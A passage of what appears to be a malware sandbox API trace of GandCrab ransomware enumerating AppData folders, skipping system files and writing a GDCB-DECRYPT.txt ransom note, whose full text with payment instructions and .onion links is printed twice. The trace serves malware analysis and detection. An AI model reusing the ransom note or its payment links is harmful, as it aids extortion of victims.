[0054.760] lstrcmpW (lpString1="AccountPictures", lpString2=".") returned 1 [0054.760] lstrcmpW (lpString1="AccountPictures", lpString2="..") returned 1 [0054.760] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\", lpString2="AccountPictures" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures" [0054.760] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures\\" [0054.760] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.761] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0054.761] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0054.761] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0054.761] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0054.761] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.761] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures\\") returned 72 [0054.761] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures\\*" [0054.761] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures\\*", lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 0x5b85f0 [0054.761] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.761] FindNextFileW (in: hFindFile=0x5b85f0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.761] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.761] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.761] FindNextFileW (in: hFindFile=0x5b85f0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.761] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0054.761] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0054.761] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures\\", lpString2="desktop.ini" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures\\desktop.ini") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures\\desktop.ini" [0054.761] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures\\desktop.ini") returned 83 [0054.761] lstrcmpW (lpString1=".ini", lpString2=".sql") returned -1 [0054.761] FindNextFileW (in: hFindFile=0x5b85f0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 0 [0054.761] FindClose (in: hFindFile=0x5b85f0 | out: hFindFile=0x5b85f0) returned 1 [0054.763] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.764] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures\\\\GDCB-DECRYPT.txt") returned 89 [0054.764] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\windows\\accountpictures\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4fc [0054.764] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0054.764] WriteFile (in: hFile=0x4fc, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285eaec, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285eaec*=0xad6, lpOverlapped=0x0) returned 1 [0054.765] CloseHandle (hObject=0x4fc) returned 1 [0054.765] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.765] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures\\") returned 72 [0054.765] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures\\*" [0054.765] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures\\*", lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 0x5b8af0 [0054.765] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.765] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.766] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.766] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.766] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.766] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0054.766] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0054.766] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures\\", lpString2="desktop.ini" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures\\desktop.ini") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures\\desktop.ini" [0054.766] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.766] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures\\desktop.ini") returned 83 [0054.766] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures\\desktop.ini") returned 83 [0054.766] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures\\desktop.ini") returned 83 [0054.766] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures\\desktop.ini") returned 83 [0054.766] lstrcmpiW (lpString1="desktop.ini", lpString2="desktop.ini") returned 0 [0054.766] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.766] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.766] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0054.766] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0054.766] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures\\GDCB-DECRYPT.txt" [0054.766] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.766] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures\\GDCB-DECRYPT.txt") returned 88 [0054.766] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures\\GDCB-DECRYPT.txt") returned 88 [0054.766] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures\\GDCB-DECRYPT.txt") returned 88 [0054.766] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\AccountPictures\\GDCB-DECRYPT.txt") returned 88 [0054.766] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0054.766] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0054.766] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0054.766] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0054.766] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0054.766] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0054.766] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0054.766] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0054.766] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0054.766] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.767] FindNextFileW (in: hFindFile=0x5b8af0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 0 [0054.767] FindClose (in: hFindFile=0x5b8af0 | out: hFindFile=0x5b8af0) returned 1 [0054.767] FindNextFileW (in: hFindFile=0x5b85b0, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0054.767] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0054.767] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0054.767] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\GDCB-DECRYPT.txt" [0054.767] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.767] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\GDCB-DECRYPT.txt") returned 72 [0054.767] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\GDCB-DECRYPT.txt") returned 72 [0054.767] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\GDCB-DECRYPT.txt") returned 72 [0054.767] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\GDCB-DECRYPT.txt") returned 72 [0054.767] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0054.767] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0054.767] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0054.767] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0054.767] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0054.767] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0054.767] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0054.767] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0054.767] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0054.767] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.767] FindNextFileW (in: hFindFile=0x5b85b0, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0054.767] lstrcmpW (lpString1="Libraries", lpString2=".") returned 1 [0054.767] lstrcmpW (lpString1="Libraries", lpString2="..") returned 1 [0054.767] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\", lpString2="Libraries" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries" [0054.767] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\" [0054.767] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.768] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0054.768] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0054.768] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0054.768] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0054.768] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.768] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\") returned 66 [0054.768] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\*" [0054.768] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\*", lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 0x5b85f0 [0054.768] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.768] FindNextFileW (in: hFindFile=0x5b85f0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.768] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.768] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.768] FindNextFileW (in: hFindFile=0x5b85f0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.768] lstrcmpW (lpString1="CameraRoll.library-ms", lpString2=".") returned 1 [0054.768] lstrcmpW (lpString1="CameraRoll.library-ms", lpString2="..") returned 1 [0054.768] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\", lpString2="CameraRoll.library-ms" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\CameraRoll.library-ms") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\CameraRoll.library-ms" [0054.768] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\CameraRoll.library-ms") returned 87 [0054.768] lstrcmpW (lpString1=".library-ms", lpString2=".sql") returned -1 [0054.768] FindNextFileW (in: hFindFile=0x5b85f0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.768] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0054.768] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0054.769] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\", lpString2="desktop.ini" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\desktop.ini") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\desktop.ini" [0054.769] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\desktop.ini") returned 77 [0054.769] lstrcmpW (lpString1=".ini", lpString2=".sql") returned -1 [0054.769] FindNextFileW (in: hFindFile=0x5b85f0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.769] lstrcmpW (lpString1="Documents.library-ms", lpString2=".") returned 1 [0054.769] lstrcmpW (lpString1="Documents.library-ms", lpString2="..") returned 1 [0054.769] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\", lpString2="Documents.library-ms" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Documents.library-ms") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Documents.library-ms" [0054.769] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Documents.library-ms") returned 86 [0054.769] lstrcmpW (lpString1=".library-ms", lpString2=".sql") returned -1 [0054.769] FindNextFileW (in: hFindFile=0x5b85f0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.769] lstrcmpW (lpString1="Music.library-ms", lpString2=".") returned 1 [0054.769] lstrcmpW (lpString1="Music.library-ms", lpString2="..") returned 1 [0054.769] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\", lpString2="Music.library-ms" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Music.library-ms") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Music.library-ms" [0054.769] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Music.library-ms") returned 82 [0054.769] lstrcmpW (lpString1=".library-ms", lpString2=".sql") returned -1 [0054.769] FindNextFileW (in: hFindFile=0x5b85f0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.769] lstrcmpW (lpString1="Pictures.library-ms", lpString2=".") returned 1 [0054.769] lstrcmpW (lpString1="Pictures.library-ms", lpString2="..") returned 1 [0054.769] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\", lpString2="Pictures.library-ms" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Pictures.library-ms") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Pictures.library-ms" [0054.769] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Pictures.library-ms") returned 85 [0054.769] lstrcmpW (lpString1=".library-ms", lpString2=".sql") returned -1 [0054.769] FindNextFileW (in: hFindFile=0x5b85f0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.769] lstrcmpW (lpString1="SavedPictures.library-ms", lpString2=".") returned 1 [0054.769] lstrcmpW (lpString1="SavedPictures.library-ms", lpString2="..") returned 1 [0054.769] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\", lpString2="SavedPictures.library-ms" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\SavedPictures.library-ms") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\SavedPictures.library-ms" [0054.769] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\SavedPictures.library-ms") returned 90 [0054.769] lstrcmpW (lpString1=".library-ms", lpString2=".sql") returned -1 [0054.769] FindNextFileW (in: hFindFile=0x5b85f0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0054.769] lstrcmpW (lpString1="Videos.library-ms", lpString2=".") returned 1 [0054.769] lstrcmpW (lpString1="Videos.library-ms", lpString2="..") returned 1 [0054.769] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\", lpString2="Videos.library-ms" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Videos.library-ms") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Videos.library-ms" [0054.769] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\Videos.library-ms") returned 83 [0054.769] lstrcmpW (lpString1=".library-ms", lpString2=".sql") returned -1 [0054.769] FindNextFileW (in: hFindFile=0x5b85f0, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 0 [0054.769] FindClose (in: hFindFile=0x5b85f0 | out: hFindFile=0x5b85f0) returned 1 [0054.770] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0054.770] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\\\GDCB-DECRYPT.txt") returned 83 [0054.770] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\windows\\libraries\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4fc [0054.771] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0054.771] WriteFile (in: hFile=0x4fc, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285eaec, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285eaec*=0xad6, lpOverlapped=0x0) returned 1 [0054.772] CloseHandle (hObject=0x4fc) returned 1 [0054.772] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0054.772] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\") returned 66 [0054.772] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\*" [0054.772] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\*", lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 0x5b85f0 [0054.772] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.772] FindNextFileW (in: hFindFile=0x5b85f0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.772] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.772] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.772] FindNextFileW (in: hFindFile=0x5b85f0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0054.772] lstrcmpW (lpString1="CameraRoll.library-ms", lpString2=".") returned 1 [0054.772] lstrcmpW (lpString1="CameraRoll.library-ms", lpString2="..") returned 1 [0054.772] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\", lpString2="CameraRoll.library-ms" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\CameraRoll.library-ms") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Windows\\Libraries\\CameraRoll.library-ms" [0054.772] 